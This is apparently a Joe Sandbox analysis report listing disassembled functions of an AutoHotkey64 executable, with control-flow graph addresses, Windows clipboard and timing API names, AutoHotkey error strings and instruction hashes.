14004036a-140040372 call 1400082a0 4924->4929 4926 140040386-140040388 4925->4926 4927 1400403bd-1400403c8 4925->4927 4926->4927 4930 14004038a-14004038c 4926->4930 4931 1400403ce-1400403d2 4927->4931 4932 140040580-140040593 4927->4932 4929->4925 4930->4927 4936 14004038e-1400403ab call 140096c00 4930->4936 4931->4932 4937 1400403d8-1400403ed call 140046cc0 4931->4937 4938 1400418bd-1400418ea 4932->4938 4939 140040599-1400405ac 4932->4939 4933->4916 4936->4887 4949 1400403b1-1400403b8 4936->4949 4950 1400403f3-1400403ff 4937->4950 4951 1400404ca-1400404dc 4937->4951 4940 1400467b6-1400467b8 4938->4940 4941 1400418f0-1400418fa 4938->4941 4944 140041843-14004184c 4939->4944 4940->4887 4948 140046407-14004640f 4941->4948 4947 140046419 4944->4947 4947->4892 4957 140046411-140046416 4948->4957 4958 14004644d-140046459 4948->4958 4949->4927 4953 140040401 4950->4953 4954 140040443-140040465 call 140040110 4950->4954 4955 1400404e2-1400404e9 4951->4955 4956 14004056e-140040575 4951->4956 4961 140040410-14004043f call 140040110 4953->4961 4972 14004046a-14004046d 4954->4972 4962 140040523-140040545 call 140040110 4955->4962 4963 1400404eb 4955->4963 4956->4894 4960 14004057b 4956->4960 4957->4947 4958->4887 4960->4892 4973 140040441 4961->4973 4976 14004054a-140040551 4962->4976 4965 1400404f0-14004051f call 140040110 4963->4965 4977 140040521 4965->4977 4972->4892 4975 140040473-14004047a 4972->4975 4973->4972 4978 14004643f-140046448 4975->4978 4979 140040480-140040483 4975->4979 4980 140040557-14004055a 4976->4980 4981 140046433-14004643a 4976->4981 4977->4976 4978->4887 4979->4978 4982 140040489-14004048c 4979->4982 4980->4981 4983 140040560-140040563 4980->4983 4981->4894 4984 14004048e-140040496 4982->4984 4985 1400404a9-1400404b6 4982->4985 4983->4944 4986 140040569 4983->4986 4984->4981 4987 14004049c-1400404a4 4984->4987 4985->4892 4988 1400404bc-1400404c5 4985->4988 4986->4948 4987->4892 4988->4892
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseErrorGlobalLastMessagePeekUnlockfree
                                                              • String ID: Parameter #1 invalid.$Press OK to continue.
                                                              • API String ID: 2434512724-108709617
                                                              • Opcode ID: d4de4db09400d738418467aaf110a518499f262806e7ccf629d440cdf737b6ed
                                                              • Instruction ID: 5a3ea273d959b455f262c2eb030c14cf0c0d32fa329ee82360b7c596d198cd61
                                                              • Opcode Fuzzy Hash: d4de4db09400d738418467aaf110a518499f262806e7ccf629d440cdf737b6ed
                                                              • Instruction Fuzzy Hash: 6FB1B0B1604B8486FB628B27E4543E937A1F78DBE4F110226FB5967AF6DB38C481C744
                                                              Function 0000000140046213 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 241windowclipboardCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 5003 140046213-14004621a 5004 140046293-1400462b7 call 1400251a0 5003->5004 5005 14004621c-140046223 5003->5005 5013 1400462cd 5004->5013 5014 1400462b9-1400462cb 5004->5014 5006 140046225-14004622e 5005->5006 5007 14004626f-140046273 5005->5007 5009 140046261 5006->5009 5010 140046230-14004625f call 1400b9320 5006->5010 5011 14004627a-14004628e call 1400b5e80 5007->5011 5016 140046268-14004626d 5009->5016 5010->5016 5023 1400463c0-1400463c4 5011->5023 5018 1400462d4-1400462d8 5013->5018 5014->5018 5016->5011 5021 1400462e1-1400462f9 call 1400d6a8c 5018->5021 5022 1400462da-1400462df 5018->5022 5024 1400462fd-140046318 call 1400b5e80 5021->5024 5022->5024 5026 1400463c6-1400463cc 5023->5026 5024->5026 5033 14004631e-140046321 5024->5033 5028 1400463d2-1400463f1 5026->5028 5029 1400467c3-1400467f0 5026->5029 5028->5029 5034 1400463f7-140046405 5028->5034 5033->5026 5036 140046327 5033->5036 5035 14004641e-140046421 5034->5035 5037 140046427-14004642e 5035->5037 5038 1400467c1 5035->5038 5036->5023 5040 1400401c9-1400401d1 5037->5040 5041 1400401fa-140040217 GetTickCount 5037->5041 5038->5029 5042 1400401e7-1400401f3 CloseClipboard 5040->5042 5043 1400401d3-1400401e0 GlobalUnlock 5040->5043 5044 140040250-14004025c 5041->5044 5045 140040219-140040236 PeekMessageW 5041->5045 5042->5041 5043->5042 5048 140040297-1400402a5 5044->5048 5049 14004025e-140040266 5044->5049 5046 140040238-14004023d call 140001b60 5045->5046 5047 140040242-14004024a GetTickCount 5045->5047 5046->5047 5047->5044 5052 1400402a7-1400402aa 5048->5052 5053 1400402ac-1400402b3 5048->5053 5049->5048 5051 140040268-140040271 5049->5051 5051->5048 5056 140040273-140040279 5051->5056 5052->5053 5057 1400402bf-1400402cb call 140001b60 5052->5057 5054 1400402b5-1400402bd 5053->5054 5055 1400402d2-1400402dd 5053->5055 5054->5055 5054->5057 5059 1400402df 5055->5059 5060 1400402fc-14004030a 5055->5060 5061 140040290-140040293 5056->5061 5062 14004027b-14004028e 5056->5062 5057->5055 5064 1400402e0-1400402f3 call 140001b60 5059->5064 5065 14004035b-140040363 5060->5065 5066 14004030c-140040354 GetTickCount 5060->5066 5061->5048 5062->5048 5077 1400402f5 5064->5077 5068 140040365-140040368 5065->5068 5069 140040379-140040384 5065->5069 5066->5065 5068->5069 5073 14004036a-140040372 call 1400082a0 5068->5073 5070 140040386-140040388 5069->5070 5071 1400403bd-1400403c8 5069->5071 5070->5071 5074 14004038a-14004038c 5070->5074 5075 1400403ce-1400403d2 5071->5075 5076 140040580-140040593 5071->5076 5073->5069 5074->5071 5080 14004038e-1400403ab call 140096c00 5074->5080 5075->5076 5081 1400403d8-1400403ed call 140046cc0 5075->5081 5082 1400418bd-1400418ea 5076->5082 5083 140040599-1400405ac 5076->5083 5077->5060 5080->5029 5093 1400403b1-1400403b8 5080->5093 5094 1400403f3-1400403ff 5081->5094 5095 1400404ca-1400404dc 5081->5095 5084 1400467b6-1400467b8 5082->5084 5085 1400418f0-1400418fa 5082->5085 5088 140041843-14004184c 5083->5088 5084->5029 5092 140046407-14004640f 5085->5092 5091 140046419 5088->5091 5091->5035 5101 140046411-140046416 5092->5101 5102 14004644d-140046459 5092->5102 5093->5071 5097 140040401 5094->5097 5098 140040443-140040465 call 140040110 5094->5098 5099 1400404e2-1400404e9 5095->5099 5100 14004056e-140040575 5095->5100 5105 140040410-14004043f call 140040110 5097->5105 5116 14004046a-14004046d 5098->5116 5106 140040523-140040545 call 140040110 5099->5106 5107 1400404eb 5099->5107 5100->5038 5104 14004057b 5100->5104 5101->5091 5102->5029 5104->5035 5117 140040441 5105->5117 5120 14004054a-140040551 5106->5120 5109 1400404f0-14004051f call 140040110 5107->5109 5121 140040521 5109->5121 5116->5035 5119 140040473-14004047a 5116->5119 5117->5116 5122 14004643f-140046448 5119->5122 5123 140040480-140040483 5119->5123 5124 140040557-14004055a 5120->5124 5125 140046433-14004643a 5120->5125 5121->5120 5122->5029 5123->5122 5126 140040489-14004048c 5123->5126 5124->5125 5127 140040560-140040563 5124->5127 5125->5038 5128 14004048e-140040496 5126->5128 5129 1400404a9-1400404b6 5126->5129 5127->5088 5130 140040569 5127->5130 5128->5125 5131 14004049c-1400404a4 5128->5131 5129->5035 5132 1400404bc-1400404c5 5129->5132 5130->5092 5131->5035 5132->5035
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID: %s\%s$ahk_default
                                                              • API String ID: 1623861271-75935552
                                                              • Opcode ID: 8db2812ddb07bff7ea4e73ff2864a7df972986d0e2c5f24f3da975eb74581c7d
                                                              • Instruction ID: f33fe32cf1256195e13aeb7ae52701e7ec82e40441a291807d5102e92cbb84e8
                                                              • Opcode Fuzzy Hash: 8db2812ddb07bff7ea4e73ff2864a7df972986d0e2c5f24f3da975eb74581c7d
                                                              • Instruction Fuzzy Hash: 88C1ADB1604A8486FB62CB27E4443E937A1F38CBE4F510126EB5963AF6DB78C485CB45
                                                              Function 0000000140043FEC Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 209windowclipboardCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 5133 140043fec-14004406b call 1400b9760 call 14004fa70 5138 1400463c6-1400463cc 5133->5138 5139 140044071-14004408c 5133->5139 5140 1400463d2-1400463f1 5138->5140 5141 1400467c3-1400467f0 5138->5141 5139->5138 5140->5141 5143 1400463f7-140046405 5140->5143 5144 14004641e-140046421 5143->5144 5145 140046427-14004642e 5144->5145 5146 1400467c1 5144->5146 5148 1400401c9-1400401d1 5145->5148 5149 1400401fa-140040217 GetTickCount 5145->5149 5146->5141 5150 1400401e7-1400401f3 CloseClipboard 5148->5150 5151 1400401d3-1400401e0 GlobalUnlock 5148->5151 5152 140040250-14004025c 5149->5152 5153 140040219-140040236 PeekMessageW 5149->5153 5150->5149 5151->5150 5156 140040297-1400402a5 5152->5156 5157 14004025e-140040266 5152->5157 5154 140040238-14004023d call 140001b60 5153->5154 5155 140040242-14004024a GetTickCount 5153->5155 5154->5155 5155->5152 5160 1400402a7-1400402aa 5156->5160 5161 1400402ac-1400402b3 5156->5161 5157->5156 5159 140040268-140040271 5157->5159 5159->5156 5164 140040273-140040279 5159->5164 5160->5161 5165 1400402bf-1400402cb call 140001b60 5160->5165 5162 1400402b5-1400402bd 5161->5162 5163 1400402d2-1400402dd 5161->5163 5162->5163 5162->5165 5167 1400402df 5163->5167 5168 1400402fc-14004030a 5163->5168 5169 140040290-140040293 5164->5169 5170 14004027b-14004028e 5164->5170 5165->5163 5172 1400402e0-1400402f3 call 140001b60 5167->5172 5173 14004035b-140040363 5168->5173 5174 14004030c-140040354 GetTickCount 5168->5174 5169->5156 5170->5156 5185 1400402f5 5172->5185 5176 140040365-140040368 5173->5176 5177 140040379-140040384 5173->5177 5174->5173 5176->5177 5181 14004036a-140040372 call 1400082a0 5176->5181 5178 140040386-140040388 5177->5178 5179 1400403bd-1400403c8 5177->5179 5178->5179 5182 14004038a-14004038c 5178->5182 5183 1400403ce-1400403d2 5179->5183 5184 140040580-140040593 5179->5184 5181->5177 5182->5179 5188 14004038e-1400403ab call 140096c00 5182->5188 5183->5184 5189 1400403d8-1400403ed call 140046cc0 5183->5189 5190 1400418bd-1400418ea 5184->5190 5191 140040599-1400405ac 5184->5191 5185->5168 5188->5141 5201 1400403b1-1400403b8 5188->5201 5202 1400403f3-1400403ff 5189->5202 5203 1400404ca-1400404dc 5189->5203 5192 1400467b6-1400467b8 5190->5192 5193 1400418f0-1400418fa 5190->5193 5196 140041843-14004184c 5191->5196 5192->5141 5200 140046407-14004640f 5193->5200 5199 140046419 5196->5199 5199->5144 5209 140046411-140046416 5200->5209 5210 14004644d-140046459 5200->5210 5201->5179 5205 140040401 5202->5205 5206 140040443-140040465 call 140040110 5202->5206 5207 1400404e2-1400404e9 5203->5207 5208 14004056e-140040575 5203->5208 5213 140040410-14004043f call 140040110 5205->5213 5224 14004046a-14004046d 5206->5224 5214 140040523-140040545 call 140040110 5207->5214 5215 1400404eb 5207->5215 5208->5146 5212 14004057b 5208->5212 5209->5199 5210->5141 5212->5144 5225 140040441 5213->5225 5228 14004054a-140040551 5214->5228 5217 1400404f0-14004051f call 140040110 5215->5217 5229 140040521 5217->5229 5224->5144 5227 140040473-14004047a 5224->5227 5225->5224 5230 14004643f-140046448 5227->5230 5231 140040480-140040483 5227->5231 5232 140040557-14004055a 5228->5232 5233 140046433-14004643a 5228->5233 5229->5228 5230->5141 5231->5230 5234 140040489-14004048c 5231->5234 5232->5233 5235 140040560-140040563 5232->5235 5233->5146 5236 14004048e-140040496 5234->5236 5237 1400404a9-1400404b6 5234->5237 5235->5196 5238 140040569 5235->5238 5236->5233 5239 14004049c-1400404a4 5236->5239 5237->5144 5240 1400404bc-1400404c5 5237->5240 5238->5200 5239->5144 5240->5144
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID: ERROR$UseErrorLevel
                                                              • API String ID: 1623861271-2084857954
                                                              • Opcode ID: ed29e5d0aba999ecb04fdab5466b45d6bee411a33fe9b454c578c1a2fa064a4e
                                                              • Instruction ID: 7a09ef86989936cc2dc62eebedb04fab8bf98b221f15f6683ce80842f453cf9b
                                                              • Opcode Fuzzy Hash: ed29e5d0aba999ecb04fdab5466b45d6bee411a33fe9b454c578c1a2fa064a4e
                                                              • Instruction Fuzzy Hash: F3B1A3B1604B4486FB66CB27E8847D937A1F78DBE4F11022AEB5963AF5DB38C490C705
                                                              Function 000000014004070F Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 296clipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              • A Goto/Gosub must not jump into a block that doesn't enclose it., xrefs: 0000000140046481
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: ClipboardCloseCountGlobalTickUnlock
                                                              • String ID: A Goto/Gosub must not jump into a block that doesn't enclose it.
                                                              • API String ID: 3761015043-1592792148
                                                              • Opcode ID: 0cd59c029dba41849ab239b16cd9cc43d4da7c221988a46994ba33dcda6063a0
                                                              • Instruction ID: 8d7a8bce74de7c3d7fdeb41ae3b0d8529f132e4486f1e376afb8c1585ab9e927
                                                              • Opcode Fuzzy Hash: 0cd59c029dba41849ab239b16cd9cc43d4da7c221988a46994ba33dcda6063a0
                                                              • Instruction Fuzzy Hash: 88E1DF72604B4086FB668B2BD5443E837A1F78CBE4F164126EB5963BF6DB38C881C745
                                                              Function 0000000140040CEF Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 231windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock_errno_invalid_parameter_noinfo
                                                              • String ID: CSV
                                                              • API String ID: 130734711-2651001053
                                                              • Opcode ID: 7c1f77361c7246e23b79fc58495a168dc522b655a843879a6fcdb76d7d4327b4
                                                              • Instruction ID: 8ab1d66be799228b0c1528adf326cde04cccd6c106e725e7d85bbd2ebaa49d85
                                                              • Opcode Fuzzy Hash: 7c1f77361c7246e23b79fc58495a168dc522b655a843879a6fcdb76d7d4327b4
                                                              • Instruction Fuzzy Hash: 6CC16D72604B4489FB628B67E8843D937A1F38DBE4F110226EB5963BF5DB38C491CB45
                                                              Function 0000000140044AEE Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID: Target label does not exist.
                                                              • API String ID: 1623861271-2507343300
                                                              • Opcode ID: dbf0144f3882065228323418766a552558836e9c017e8bcde4a7e27f1ec4e749
                                                              • Instruction ID: 934fa31a776e0b474852b87323de20fda490f875ac7ba765b3ef459782e828f9
                                                              • Opcode Fuzzy Hash: dbf0144f3882065228323418766a552558836e9c017e8bcde4a7e27f1ec4e749
                                                              • Instruction Fuzzy Hash: 2BB191B1204B8486FB628B27E4447E937A1F74DBE4F120226EB5963BF5DB38C495C744
                                                              Function 0000000140044210 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 213windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID: Parameter #4 invalid.
                                                              • API String ID: 1623861271-2921795276
                                                              • Opcode ID: eb68a92082e7481186c86d1db7723d1998b5a2dd16885b59a62ecb1a149e9ac1
                                                              • Instruction ID: b97b049c8c632629edc1120b8351026e1caa8672c38efc1b9f394bd6d35f4d31
                                                              • Opcode Fuzzy Hash: eb68a92082e7481186c86d1db7723d1998b5a2dd16885b59a62ecb1a149e9ac1
                                                              • Instruction Fuzzy Hash: 9AB1A2B1204A4486F7628B27E4843D937A1F78DBE4F110126FB5967BF5DB38C491C744
                                                              Function 0000000140045970 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 207windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock_errno_invalid_parameter_noinfo
                                                              • String ID: Play
                                                              • API String ID: 130734711-4273697156
                                                              • Opcode ID: e5842c8c87d392d3343c29d665c8d5d911e55b0ba21e752e6f8c008d9aba4a35
                                                              • Instruction ID: a1bfc9c7a0fc8cc031d19e21ab7bcb2061f898f91024154540ddc133227642e1
                                                              • Opcode Fuzzy Hash: e5842c8c87d392d3343c29d665c8d5d911e55b0ba21e752e6f8c008d9aba4a35
                                                              • Instruction Fuzzy Hash: 4AA1A1B160464486FB668F27E4843E937A1F38DBE4F114226EB59A37F6DB38C880C745
                                                              Function 00000001400447B6 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 196windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID: Target label does not exist.
                                                              • API String ID: 1623861271-2507343300
                                                              • Opcode ID: 5fd11d57d38a1df0cfad498bbaf2a81494b1be09ad7081aca2533d20716dfb0d
                                                              • Instruction ID: 8a0ea181c0cdde76f47c6e1ba070c38f3b15f981aa139c01673494ad3355c188
                                                              • Opcode Fuzzy Hash: 5fd11d57d38a1df0cfad498bbaf2a81494b1be09ad7081aca2533d20716dfb0d
                                                              • Instruction Fuzzy Hash: C7A1A3B1604A4486FB568B27E4843E937E1F38DBE4F12022AFB59676F6DB38C491C744
                                                              Function 0000000140044F3B Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 194windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
